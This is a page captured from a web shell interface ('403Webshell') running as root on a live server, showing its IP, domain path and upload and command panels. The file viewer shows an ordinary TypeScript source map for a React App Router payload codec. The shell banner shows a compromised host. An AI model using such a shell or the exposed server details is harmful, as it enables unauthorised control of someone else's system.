403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/app-elements-wire.js.map
{"version":3,"file":"app-elements-wire.js","names":[],"sources":["../../src/server/app-elements-wire.ts"],"sourcesContent":["import { isValidElement, type ReactNode } from \"react\";\nimport {\n  createArtifactCompatibilityEnvelope,\n  parseArtifactCompatibilityEnvelope,\n  type ArtifactCompatibilityEnvelope,\n} from \"./artifact-compatibility.js\";\n\nconst APP_INTERCEPTION_SEPARATOR = \"\\0\";\n\nexport const APP_ARTIFACT_COMPATIBILITY_KEY = \"__artifactCompatibility\";\nexport const APP_INTERCEPTION_CONTEXT_KEY = \"__interceptionContext\";\nexport const APP_LAYOUT_IDS_KEY = \"__layoutIds\";\nexport const APP_LAYOUT_FLAGS_KEY = \"__layoutFlags\";\nexport const APP_ROUTE_KEY = \"__route\";\nexport const APP_ROOT_LAYOUT_KEY = \"__rootLayout\";\nexport const APP_UNMATCHED_SLOT_WIRE_VALUE = \"__VINEXT_UNMATCHED_SLOT__\";\n\nexport const UNMATCHED_SLOT = Symbol.for(\"vinext.unmatchedSlot\");\n\nexport type AppElementValue = ReactNode | typeof UNMATCHED_SLOT | string | null;\ntype AppWireElementValue = ReactNode | string | null;\n\nexport type AppElements = Readonly<Record<string, AppElementValue>>;\nexport type AppWireElements = Readonly<Record<string, AppWireElementValue>>;\n\n/**\n * Per-layout static/dynamic flags. `\"s\"` = static (skippable on next nav);\n * `\"d\"` = dynamic (must always render).\n *\n * Lifecycle (partial — later PRs extend this):\n *\n *   1. PROBE   — probeAppPageLayouts (server/app-page-execution.ts) returns\n *                LayoutFlags for every layout in the route at render time.\n *\n *   2. ATTACH  — AppElementsWire.encodeOutgoingPayload writes `__layoutFlags`\n *                into the outgoing App Router payload record.\n *\n *   3. WIRE    — renderToReadableStream serializes the record as RSC row 0.\n *\n *   4. PARSE   — AppElementsWire.readMetadata extracts layoutFlags from the\n *                wire payload on the client side.\n */\nexport type LayoutFlags = Readonly<Record<string, \"s\" | \"d\">>;\n\ntype AppElementsMetadata = {\n  artifactCompatibility: ArtifactCompatibilityEnvelope;\n  interceptionContext: string | null;\n  layoutIds: readonly string[];\n  layoutFlags: LayoutFlags;\n  routeId: string;\n  rootLayoutTreePath: string | null;\n};\n\ntype AppElementsWireElementKey =\n  | { kind: \"layout\"; treePath: string }\n  | { interceptionContext: string | null; kind: \"page\"; path: string }\n  | { interceptionContext: string | null; kind: \"route\"; path: string }\n  | { kind: \"slot\"; name: string; treePath: string }\n  | { kind: \"template\"; treePath: string };\n\ntype AppElementsWireMetadataInput = {\n  interceptionContext: string | null;\n  layoutIds?: readonly string[];\n  routeId: string;\n  rootLayoutTreePath: string | null;\n};\n\ntype AppElementsWireMetadataEntries = Readonly<{\n  [APP_ROUTE_KEY]: string;\n  [APP_INTERCEPTION_CONTEXT_KEY]: string | null;\n  [APP_LAYOUT_IDS_KEY]: readonly string[];\n  [APP_ROOT_LAYOUT_KEY]: string | null;\n}>;\n\n/**\n * The outgoing wire payload shape. Includes ReactNode values for the\n * rendered tree plus metadata values like LayoutFlags attached under\n * known keys (e.g. __layoutFlags). Distinct from AppElements / AppWireElements\n * which only carry render-time values.\n */\nexport type AppOutgoingElements = Readonly<\n  Record<string, ReactNode | LayoutFlags | ArtifactCompatibilityEnvelope>\n>;\n\ntype AppElementsWireKeys = {\n  readonly artifactCompatibility: typeof APP_ARTIFACT_COMPATIBILITY_KEY;\n  readonly interceptionContext: typeof APP_INTERCEPTION_CONTEXT_KEY;\n  readonly layoutIds: typeof APP_LAYOUT_IDS_KEY;\n  readonly layoutFlags: typeof APP_LAYOUT_FLAGS_KEY;\n  readonly rootLayout: typeof APP_ROOT_LAYOUT_KEY;\n  readonly route: typeof APP_ROUTE_KEY;\n};\n\ntype AppElementsWireCodec = {\n  readonly keys: AppElementsWireKeys;\n  readonly unmatchedSlotValue: typeof APP_UNMATCHED_SLOT_WIRE_VALUE;\n  createMetadataEntries(input: AppElementsWireMetadataInput): AppElementsWireMetadataEntries;\n  decode(elements: AppWireElements): AppElements;\n  encodeCacheKey(rscUrl: string, interceptionContext: string | null): string;\n  encodeLayoutId(treePath: string): string;\n  encodeOutgoingPayload(input: {\n    element: ReactNode | Readonly<Record<string, ReactNode>>;\n    artifactCompatibility?: ArtifactCompatibilityEnvelope;\n    layoutFlags: LayoutFlags;\n  }): ReactNode | AppOutgoingElements;\n  encodePageId(routePath: string, interceptionContext: string | null): string;\n  encodeRouteId(routePath: string, interceptionContext: string | null): string;\n  encodeSlotId(slotName: string, treePath: string): string;\n  encodeTemplateId(treePath: string): string;\n  isSlotId(key: string): boolean;\n  parseElementKey(key: string): AppElementsWireElementKey | null;\n  readMetadata(elements: Readonly<Record<string, unknown>>): AppElementsMetadata;\n  withLayoutFlags<T extends Record<string, unknown>>(\n    elements: T,\n    layoutFlags: LayoutFlags,\n  ): T & { [APP_LAYOUT_FLAGS_KEY]: LayoutFlags };\n};\n\nfunction appendInterceptionContext(identity: string, interceptionContext: string | null): string {\n  return interceptionContext === null\n    ? identity\n    : `${identity}${APP_INTERCEPTION_SEPARATOR}${interceptionContext}`;\n}\n\nfunction createAppPayloadRouteId(routePath: string, interceptionContext: string | null): string {\n  return appendInterceptionContext(`route:${routePath}`, interceptionContext);\n}\n\nfunction createAppPayloadPageId(routePath: string, interceptionContext: string | null): string {\n  return appendInterceptionContext(`page:${routePath}`, interceptionContext);\n}\n\nfunction createAppPayloadLayoutId(treePath: string): string {\n  return `layout:${treePath}`;\n}\n\nfunction createAppPayloadTemplateId(treePath: string): string {\n  return `template:${treePath}`;\n}\n\nfunction createAppPayloadSlotId(slotName: string, treePath: string): string {\n  return `slot:${slotName}:${treePath}`;\n}\n\nfunction createAppPayloadCacheKey(rscUrl: string, interceptionContext: string | null): string {\n  return appendInterceptionContext(rscUrl, interceptionContext);\n}\n\nfunction parsePathWithInterception(input: string): {\n  interceptionContext: string | null;\n  path: string;\n} | null {\n  const separatorIndex = input.indexOf(APP_INTERCEPTION_SEPARATOR);\n  const path = separatorIndex === -1 ? input : input.slice(0, separatorIndex);\n  if (!path.startsWith(\"/\")) return null;\n\n  return {\n    interceptionContext: separatorIndex === -1 ? null : input.slice(separatorIndex + 1),\n    path,\n  };\n}\n\n/**\n * AppElements tree paths are absolute route-tree paths on the wire.\n * Bare segment names are not valid layout/template/slot tree identities.\n */\nfunction parseTreePath(input: string): string | null {\n  return input.startsWith(\"/\") ? input : null;\n}\n\nfunction parseAppElementsWireElementKey(key: string): AppElementsWireElementKey | null {\n  if (key.startsWith(\"route:\")) {\n    const parsed = parsePathWithInterception(key.slice(\"route:\".length));\n    if (!parsed) return null;\n    return { interceptionContext: parsed.interceptionContext, kind: \"route\", path: parsed.path };\n  }\n\n  if (key.startsWith(\"page:\")) {\n    const parsed = parsePathWithInterception(key.slice(\"page:\".length));\n    if (!parsed) return null;\n    return { interceptionContext: parsed.interceptionContext, kind: \"page\", path: parsed.path };\n  }\n\n  if (key.startsWith(\"layout:\")) {\n    const treePath = parseTreePath(key.slice(\"layout:\".length));\n    return treePath ? { kind: \"layout\", treePath } : null;\n  }\n\n  if (key.startsWith(\"template:\")) {\n    const treePath = parseTreePath(key.slice(\"template:\".length));\n    return treePath ? { kind: \"template\", treePath } : null;\n  }\n\n  if (key.startsWith(\"slot:\")) {\n    const body = key.slice(\"slot:\".length);\n    const separatorIndex = body.indexOf(\":\");\n    if (separatorIndex <= 0) return null;\n    const name = body.slice(0, separatorIndex);\n    const treePath = parseTreePath(body.slice(separatorIndex + 1));\n    return treePath ? { kind: \"slot\", name, treePath } : null;\n  }\n\n  return null;\n}\n\nfunction isAppElementsWireSlotId(key: string): boolean {\n  if (!key.startsWith(\"slot:\")) return false;\n  const body = key.slice(\"slot:\".length);\n  const separatorIndex = body.indexOf(\":\");\n  return separatorIndex > 0 && body.charCodeAt(separatorIndex + 1) === 0x2f;\n}\n\nfunction createAppElementsWireMetadataEntries(\n  input: AppElementsWireMetadataInput,\n): AppElementsWireMetadataEntries {\n  return {\n    [APP_ROUTE_KEY]: input.routeId,\n    [APP_INTERCEPTION_CONTEXT_KEY]: input.interceptionContext,\n    [APP_LAYOUT_IDS_KEY]: [...(input.layoutIds ?? [])],\n    [APP_ROOT_LAYOUT_KEY]: input.rootLayoutTreePath,\n  };\n}\n\nexport function normalizeAppElements(elements: AppWireElements): AppElements {\n  let needsNormalization = false;\n  for (const [key, value] of Object.entries(elements)) {\n    if (isAppElementsWireSlotId(key) && value === APP_UNMATCHED_SLOT_WIRE_VALUE) {\n      needsNormalization = true;\n      break;\n    }\n  }\n\n  if (!needsNormalization) {\n    return elements;\n  }\n\n  const normalized: Record<string, AppElementValue> = {};\n  for (const [key, value] of Object.entries(elements)) {\n    normalized[key] =\n      isAppElementsWireSlotId(key) && value === APP_UNMATCHED_SLOT_WIRE_VALUE\n        ? UNMATCHED_SLOT\n        : value;\n  }\n\n  return normalized;\n}\n\nfunction isLayoutFlagsRecord(value: unknown): value is LayoutFlags {\n  if (typeof value !== \"object\" || value === null || Array.isArray(value)) return false;\n  for (const v of Object.values(value)) {\n    if (v !== \"s\" && v !== \"d\") return false;\n  }\n  return true;\n}\n\nfunction parseLayoutFlags(value: unknown): LayoutFlags {\n  if (isLayoutFlagsRecord(value)) return value;\n  return {};\n}\n\nfunction parseLayoutIds(value: unknown): readonly string[] {\n  if (value === undefined) return [];\n  if (!Array.isArray(value)) {\n    throw new Error(\n      \"[vinext] Invalid __layoutIds in App Router payload: expected layout id string[]\",\n    );\n  }\n\n  const layoutIds: string[] = [];\n  for (const entry of value) {\n    if (typeof entry !== \"string\") {\n      throw new Error(\n        \"[vinext] Invalid __layoutIds in App Router payload: expected layout id string[]\",\n      );\n    }\n\n    const parsed = parseAppElementsWireElementKey(entry);\n    if (parsed?.kind !== \"layout\") {\n      throw new Error(\"[vinext] Invalid __layoutIds in App Router payload: expected layout ids\");\n    }\n\n    layoutIds.push(entry);\n  }\n  return layoutIds;\n}\n\n/**\n * Type predicate for a plain (non-null, non-array) record of app payload values.\n * Used to distinguish the App Router payload object from bare React elements at\n * the render boundary. Narrows to `Readonly<Record<string, unknown>>` because\n * the outgoing payload carries heterogeneous values (ReactNodes for the rendered\n * tree, plus metadata like `__layoutFlags` which is a plain object). Delegates\n * to React's canonical `isValidElement` so we don't depend on React's internal\n * `$$typeof` marker scheme.\n */\nexport function isAppElementsRecord(value: unknown): value is Readonly<Record<string, unknown>> {\n  if (typeof value !== \"object\" || value === null) return false;\n  if (Array.isArray(value)) return false;\n  if (isValidElement(value)) return false;\n  return true;\n}\n\nexport function withLayoutFlags<T extends Record<string, unknown>>(\n  elements: T,\n  layoutFlags: LayoutFlags,\n): T & { [APP_LAYOUT_FLAGS_KEY]: LayoutFlags } {\n  return { ...elements, [APP_LAYOUT_FLAGS_KEY]: layoutFlags };\n}\n\nexport function buildOutgoingAppPayload(input: {\n  element: ReactNode | Readonly<Record<string, ReactNode>>;\n  artifactCompatibility?: ArtifactCompatibilityEnvelope;\n  layoutFlags: LayoutFlags;\n}): ReactNode | AppOutgoingElements {\n  if (!isAppElementsRecord(input.element)) {\n    return input.element;\n  }\n  return {\n    ...input.element,\n    [APP_LAYOUT_FLAGS_KEY]: input.layoutFlags,\n    [APP_ARTIFACT_COMPATIBILITY_KEY]:\n      input.artifactCompatibility ?? createArtifactCompatibilityEnvelope(),\n  };\n}\n\nfunction readArtifactCompatibilityMetadata(value: unknown): ArtifactCompatibilityEnvelope {\n  if (value === undefined) return createArtifactCompatibilityEnvelope();\n\n  const artifactCompatibility = parseArtifactCompatibilityEnvelope(value);\n  // TODO(#726-COMPAT-04): hard-fail malformed compatibility metadata once\n  // cache/skip consumers depend on this proof. During Wave01 the field is\n  // emitted as scaffolding, so bad or future-version values degrade like\n  // missing __layoutFlags instead of crashing render paths that do not read it.\n  return artifactCompatibility ?? createArtifactCompatibilityEnvelope();\n}\n\nexport function readAppElementsMetadata(\n  elements: Readonly<Record<string, unknown>>,\n): AppElementsMetadata {\n  const routeId = elements[APP_ROUTE_KEY];\n  if (typeof routeId !== \"string\") {\n    throw new Error(\"[vinext] Missing __route string in App Router payload\");\n  }\n\n  const interceptionContext = elements[APP_INTERCEPTION_CONTEXT_KEY];\n  if (\n    interceptionContext !== undefined &&\n    interceptionContext !== null &&\n    typeof interceptionContext !== \"string\"\n  ) {\n    throw new Error(\"[vinext] Invalid __interceptionContext in App Router payload\");\n  }\n\n  const rootLayoutTreePath = elements[APP_ROOT_LAYOUT_KEY];\n  if (rootLayoutTreePath === undefined) {\n    throw new Error(\"[vinext] Missing __rootLayout key in App Router payload\");\n  }\n  if (rootLayoutTreePath !== null && typeof rootLayoutTreePath !== \"string\") {\n    throw new Error(\"[vinext] Invalid __rootLayout in App Router payload: expected string or null\");\n  }\n\n  const layoutFlags = parseLayoutFlags(elements[APP_LAYOUT_FLAGS_KEY]);\n  const layoutIds = parseLayoutIds(elements[APP_LAYOUT_IDS_KEY]);\n  const artifactCompatibility = readArtifactCompatibilityMetadata(\n    elements[APP_ARTIFACT_COMPATIBILITY_KEY],\n  );\n\n  return {\n    artifactCompatibility,\n    interceptionContext: interceptionContext ?? null,\n    layoutIds,\n    layoutFlags,\n    routeId,\n    rootLayoutTreePath,\n  };\n}\n\nexport const AppElementsWire: AppElementsWireCodec = {\n  // WIRE follow-ups use these stable key names when moving payload readers and writers\n  // behind the codec boundary.\n  keys: {\n    artifactCompatibility: APP_ARTIFACT_COMPATIBILITY_KEY,\n    interceptionContext: APP_INTERCEPTION_CONTEXT_KEY,\n    layoutIds: APP_LAYOUT_IDS_KEY,\n    layoutFlags: APP_LAYOUT_FLAGS_KEY,\n    rootLayout: APP_ROOT_LAYOUT_KEY,\n    route: APP_ROUTE_KEY,\n  },\n  unmatchedSlotValue: APP_UNMATCHED_SLOT_WIRE_VALUE,\n  createMetadataEntries: createAppElementsWireMetadataEntries,\n  decode: normalizeAppElements,\n  encodeCacheKey: createAppPayloadCacheKey,\n  encodeLayoutId: createAppPayloadLayoutId,\n  encodeOutgoingPayload: buildOutgoingAppPayload,\n  encodePageId: createAppPayloadPageId,\n  encodeRouteId: createAppPayloadRouteId,\n  encodeSlotId: createAppPayloadSlotId,\n  encodeTemplateId: createAppPayloadTemplateId,\n  isSlotId: isAppElementsWireSlotId,\n  parseElementKey: parseAppElementsWireElementKey,\n  readMetadata: readAppElementsMetadata,\n  withLayoutFlags,\n};\n"],"mappings":"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"}

Youez - 2016 - github.com/yon3zu
LinuXploit